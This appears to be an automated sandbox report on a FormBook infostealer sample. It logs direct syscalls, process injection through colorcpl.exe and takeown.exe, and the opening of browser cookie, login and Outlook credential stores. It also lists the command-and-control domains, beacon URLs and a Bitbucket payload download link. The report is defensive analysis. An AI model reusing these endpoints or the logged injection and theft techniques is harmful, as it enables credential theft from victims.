Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtMapViewOfSection: Direct from: 0x77762D1C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtNotifyChangeKey: Direct from: 0x77763C2C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtCreateMutant: Direct from: 0x777635CC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtResumeThread: Direct from: 0x777636AC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtProtectVirtualMemory: Direct from: 0x77757B2E Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtQuerySystemInformation: Direct from: 0x77762DFC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtAllocateVirtualMemory: Direct from: 0x77762BFC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtReadFile: Direct from: 0x77762ADC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtDelayExecution: Direct from: 0x77762DDC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtWriteVirtualMemory: Direct from: 0x7776490C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtQueryInformationProcess: Direct from: 0x77762C26 Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtResumeThread: Direct from: 0x77762FBC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtCreateUserProcess: Direct from: 0x7776371C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtSetInformationThread: Direct from: 0x777563F9 Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtAllocateVirtualMemory: Direct from: 0x77763C9C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtSetInformationThread: Direct from: 0x77762B4C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtQueryAttributesFile: Direct from: 0x77762E6C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtClose: Direct from: 0x77762B6C
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtReadVirtualMemory: Direct from: 0x77762E8C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtCreateKey: Direct from: 0x77762C6C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtQuerySystemInformation: Direct from: 0x777648CC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtAllocateVirtualMemory: Direct from: 0x777648EC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtQueryVolumeInformationFile: Direct from: 0x77762F2C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtOpenSection: Direct from: 0x77762E0C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtDeviceIoControlFile: Direct from: 0x77762AEC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtAllocateVirtualMemory: Direct from: 0x77762BEC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtQueryInformationToken: Direct from: 0x77762CAC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtTerminateThread: Direct from: 0x77762FCC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtCreateFile: Direct from: 0x77762FEC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtOpenFile: Direct from: 0x77762DCC Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtOpenKeyEx: Direct from: 0x77762B9C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtSetInformationProcess: Direct from: 0x77762C5C Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtProtectVirtualMemory: Direct from: 0x77762F9C Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\z10982283782.exe Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 65F0000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\colorcpl.exe Section loaded: NULL target: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Section loaded: NULL target: C:\Windows\SysWOW64\takeown.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: NULL target: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: NULL target: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\takeown.exe Thread register set: target process: 1732 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\takeown.exe Thread APC queued: target process: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\z10982283782.exe Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 65F0000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe Process created: C:\Windows\SysWOW64\takeown.exe "C:\Windows\SysWOW64\takeown.exe" Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: ObMmiCfBgqmt.exe, 0000000C.00000002.2491251259.0000000001161000.00000002.00000001.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000000.1446241653.0000000001160000.00000002.00000001.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000000.1594251410.0000000000E80000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: ObMmiCfBgqmt.exe, 0000000C.00000002.2491251259.0000000001161000.00000002.00000001.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000000.1446241653.0000000001160000.00000002.00000001.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000000.1594251410.0000000000E80000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: ObMmiCfBgqmt.exe, 0000000C.00000002.2491251259.0000000001161000.00000002.00000001.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000000.1446241653.0000000001160000.00000002.00000001.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000000.1594251410.0000000000E80000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: ?Program Manager
Source: ObMmiCfBgqmt.exe, 0000000C.00000002.2491251259.0000000001161000.00000002.00000001.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000000.1446241653.0000000001160000.00000002.00000001.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000000.1594251410.0000000000E80000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\z10982283782.exe Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 0_2_02A95ACC
Source: C:\Users\user\Desktop\z10982283782.exe Code function: GetLocaleInfoA, 0_2_02A9A7C4
Source: C:\Users\user\Desktop\z10982283782.exe Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 0_2_02A95BD8
Source: C:\Users\user\Desktop\z10982283782.exe Code function: GetLocaleInfoA, 0_2_02A9A810
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A9920C GetLocalTime, 0_2_02A9920C
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A9B78C GetVersionExA, 0_2_02A9B78C

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 10.2.colorcpl.exe.65f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.colorcpl.exe.65f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.1523878243.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2494174819.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1523941389.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2488106328.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2491687518.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2491841213.0000000000B80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2492246864.0000000005060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1539377405.0000000025240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\takeown.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 10.2.colorcpl.exe.65f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.colorcpl.exe.65f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.1523878243.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2494174819.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1523941389.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2488106328.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2491687518.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2491841213.0000000000B80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2492246864.0000000005060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1539377405.0000000025240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1539808 Sample: z10982283782.exe Startdate: 23/10/2024 Architecture: WINDOWS Score: 100 29 www.joshcharlesfitness.xyz 2->29 31 www.98080753.xyz 2->31 33 13 other IPs or domains 2->33 49 Suricata IDS alerts for network traffic 2->49 51 Found malware configuration 2->51 53 Malicious sample detected (through community Yara rule) 2->53 57 6 other signatures 2->57 10 z10982283782.exe 2->10         started        signatures3 55 Performs DNS queries to domains with low reputation 31->55 process4 dnsIp5 41 bitbucket.org 185.166.143.48, 443, 49699, 49700 AMAZON-02US Germany 10->41 43 s3-w.us-east-1.amazonaws.com 3.5.3.65, 443, 49701, 49704 AMAZON-AESUS United States 10->43 45 54.231.236.129, 443, 49713 AMAZON-02US United States 10->45 69 Writes to foreign memory regions 10->69 71 Allocates memory in foreign processes 10->71 73 Allocates many large memory junks 10->73 75 3 other signatures 10->75 14 colorcpl.exe 2 10->14         started        signatures6 process7 signatures8 77 Maps a DLL or memory area into another process 14->77 17 ObMmiCfBgqmt.exe 14->17 injected process9 signatures10 47 Found direct / indirect Syscall (likely to bypass EDR) 17->47 20 takeown.exe 13 17->20         started        process11 signatures12 59 Tries to steal Mail credentials (via file / registry access) 20->59 61 Tries to harvest and steal browser information (history, passwords, etc) 20->61 63 Modifies the context of a thread in another process (thread injection) 20->63 65 3 other signatures 20->65 23 ObMmiCfBgqmt.exe 20->23 injected 27 firefox.exe 20->27         started        process13 dnsIp14 35 www.facaicloud.top 74.48.31.123, 59633, 59644, 59650 TELUS-3CA Canada 23->35 37 www.98080753.xyz 161.97.168.245, 59652, 59653, 59654 CONTABODE United States 23->37 39 3 other IPs or domains 23->39 67 Found direct / indirect Syscall (likely to bypass EDR) 23->67 signatures15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.166.143.48
 bitbucket.org Germany
16509 AMAZON-02US true
3.5.3.65
 s3-w.us-east-1.amazonaws.com United States
14618 AMAZON-AESUS false
154.23.184.240
 wcp58.top United States
174 COGENT-174US true
74.48.31.123
 www.facaicloud.top Canada
14663 TELUS-3CA true
194.58.112.174
 www.cpamerix.online Russian Federation
197695 AS-REGRU true
3.33.130.190
 joshcharlesfitness.xyz United States
8987 AMAZONEXPANSIONGB true
54.231.236.129
 unknown United States
16509 AMAZON-02US false
161.97.168.245
 www.98080753.xyz United States
51167 CONTABODE true

Contacted Domains

Name IP Active
s3-w.us-east-1.amazonaws.com 3.5.3.65 true
bitbucket.org 185.166.143.48 true
www.facaicloud.top 74.48.31.123 true
wcp58.top 154.23.184.240 true
www.cpamerix.online 194.58.112.174 true
www.g4s7e5.biz 203.90.227.88 true
www.98080753.xyz 161.97.168.245 true
joshcharlesfitness.xyz 3.33.130.190 true
lotus9.life 3.33.130.190 true
www.joshcharlesfitness.xyz unknown unknown
www.wcp58.top unknown unknown
bbuseruploads.s3.amazonaws.com unknown unknown
www.lotus9.life unknown unknown
171.39.242.20.in-addr.arpa unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.wcp58.top/u071/ true
    		unknown
    http://www.cpamerix.online/muj9/ true
      		unknown
      http://www.wcp58.top/u071/?fvM8Gh=bBJc85dRrz6VYFP8GwFXoZFtfmuQO+iyQ8ywsDhPMj3PkpaAJncRlOwVGrcs7/oiPMEubiNmeHgqiRXMS1H3OK+Zq7VhNcw4P6d6BN/xAJTWHzjowpdO9JjlTFWXwfVVhN461s++G65d&DfDx=AFrxfzcH-Ld true
        		unknown
        https://bitbucket.org/akeem4u/canter/downloads/233_Ltspwqrtysw true
          		unknown
          http://www.lotus9.life/t67j/ true
            		unknown
            http://www.98080753.xyz/eth5/ true
              		unknown
              http://www.lotus9.life/t67j/?fvM8Gh=KowgBu3DXf0G7hBLtaH8s8ZzKm+VG/tpKZ1Q7eDBR0ArwNxjdNGLI+rTTcfRvEyEYs27WEZYXeTRVuyNENDuSquLWx1vE6gNEX6tkQ0IxcS5dAyUTa1RZ/bXBmbIS1WdqDLnMr1sBa9m&DfDx=AFrxfzcH-Ld true
                		unknown
                http://www.joshcharlesfitness.xyz/f2m8/?fvM8Gh=q8u1m2y9j/W78LyjRjBmLFBPluC1hJa5ZcIT7WbQRmUkJn/aUKn129a9SdOjfVpEuogWIbFDr3wrvEdEbURHbL899LelzoXXcWM6JsFHtDa1nH+G65yTIIp51Lx0C7/dwS8TcymTUlcC&DfDx=AFrxfzcH-Ld true
                  		unknown
                  http://www.facaicloud.top/dc1u/ true
                    		unknown
                    http://www.facaicloud.top/dc1u/?fvM8Gh=fFgJrpU7aD7UkZlQpUegXiYX0mHuwd+xKsDAURMBiAqiBmSaSKvvh09Aihxa8ofx/ezcm777pnsov1VcpLBlwmC3Iqy+K+pafl2LF2kBMm3CKkFZyMytkoTfA5EUxo7rNsMcOhPX02Mw&DfDx=AFrxfzcH-Ld true
                      		unknown
                      http://www.cpamerix.online/muj9/?fvM8Gh=hgXo7easQgYwzYM50VVsBbrTpvYmtRva0zGF6x/wVx5xdFtAh4cdAJarj8a6/VZ0fLckawx66xls7kEuRRfHglkiUnpuSxGF6OqSwfVcl2N6vBJ8grdIeIpeinnOhUKuNcVRLIFrNYJr&DfDx=AFrxfzcH-Ld true
                        		unknown